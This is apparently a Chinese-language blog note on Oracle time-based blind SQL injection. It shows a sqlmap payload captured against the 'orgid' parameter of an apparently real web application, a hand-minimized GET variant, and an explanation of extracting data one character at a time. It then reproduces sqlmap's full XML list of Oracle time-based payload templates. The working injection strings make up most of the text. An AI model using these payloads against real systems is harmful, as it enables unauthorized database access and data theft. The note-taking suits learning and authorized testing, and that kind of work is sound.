sqlmap掃出的Oracle時間盲注截圖
payload是
abz345Name=************&orgid=400') AND 3587=DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(76)||CHR(74)||CHR(86),5) AND ('PrOw'='PrOw&abb017q=20220122&cxfw=1&abb017z=&bae204=0&pxfs=1&source=3&access_token=null&limit=12&_queryid=new
提示注入點是orgid參數,采用POST方式
由於第一次接觸oracle的時間盲注,對orgid=400后面的payload不太懂,遂百度查到oracle的時間盲注主要有幾種函數
DBMS_PIPE.RECEIVE_MESSAGE是其中一種(RECEIVE_MESSAGE 函數 - 從指定管道獲取消息 - IBM 文檔 )
手工測試時,只要頁面出現指定延時,就可以判定為時間注入
后來經過反復測試,把payload縮減到了不影響判斷的最少值以便於調試且發現可以使用GET方式提交,如下:
orgid=1') and 11=dbms_pipe.receive_message('RDS',5) and ('1'='1&cxfw=1&source=3&limit=12
測試截圖:
也請教另一位大佬得知,時間盲注也屬於布爾型,就是通過真假來判斷,只要出現指定時間的延時就可以判定為有注入,如果要把當前用戶名或當前數據庫名扒出來,只能一個個字符去嘗試,每個128種嘗試,sqlmap就是采用批量爆破方式,由此可以通過burpsuite去做。
SQLMap里關於Oracle數據庫的時間盲注payload提取出來了(sqlmap目錄\data\xml\payloads下)

<?xml version="1.0" encoding="UTF-8"?> <root> <!-- Time-based boolean tests --> <!-- Prefering "query SLEEP" over "SLEEP" because of JOIN-alike cases where SLEEPs get called multiple times (e.g. http://testphp.vulnweb.com/listproducts.php?cat=1) --> <test> <title>Oracle AND time-based blind</title> <stype>5</stype> <level>1</level> <risk>1</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle OR time-based blind</title> <stype>5</stype> <level>1</level> <risk>3</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle AND time-based blind (comment)</title> <stype>5</stype> <level>4</level> <risk>1</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload> <comment>--</comment> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle OR time-based blind (comment)</title> <stype>5</stype> <level>4</level> <risk>3</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload> <comment>--</comment> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle AND time-based blind (heavy query)</title> <stype>5</stype> <level>2</level> <risk>2</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle OR time-based blind (heavy query)</title> <stype>5</stype> <level>2</level> <risk>3</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle AND time-based blind (heavy query - comment)</title> <stype>5</stype> <level>5</level> <risk>2</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload> <comment>--</comment> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle OR time-based blind (heavy query - comment)</title> <stype>5</stype> <level>5</level> <risk>3</risk> <clause>1,2,3,9</clause> <where>1</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload> <comment>--</comment> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials --> <test> <title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title> <stype>5</stype> <level>3</level> <risk>1</risk> <clause>1,3,9</clause> <where>3</where> <vector>BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;</vector> <request> <payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)</title> <stype>5</stype> <level>3</level> <risk>1</risk> <clause>1,3,9</clause> <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle time-based blind - Parameter replace (heavy queries)</title> <stype>5</stype> <level>4</level> <risk>2</risk> <clause>1,3,9</clause> <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title> <stype>5</stype> <level>3</level> <risk>1</risk> <clause>2,3</clause> <where>1</where> <vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)</vector> <request> <payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)</title> <stype>5</stype> <level>3</level> <risk>1</risk> <clause>2,3</clause> <where>1</where> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector> <request> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query)</title> <stype>5</stype> <level>4</level> <risk>2</risk> <clause>2,3</clause> <where>1</where> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector> <request> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <!-- End of time-based boolean tests - ORDER BY, GROUP BY clause --> </root>
參考:
時間型盲注_heibaikong6的博客-CSDN博客_時間盲注
從sqlmap源碼看如何自定義payload - 安全客,安全資訊平台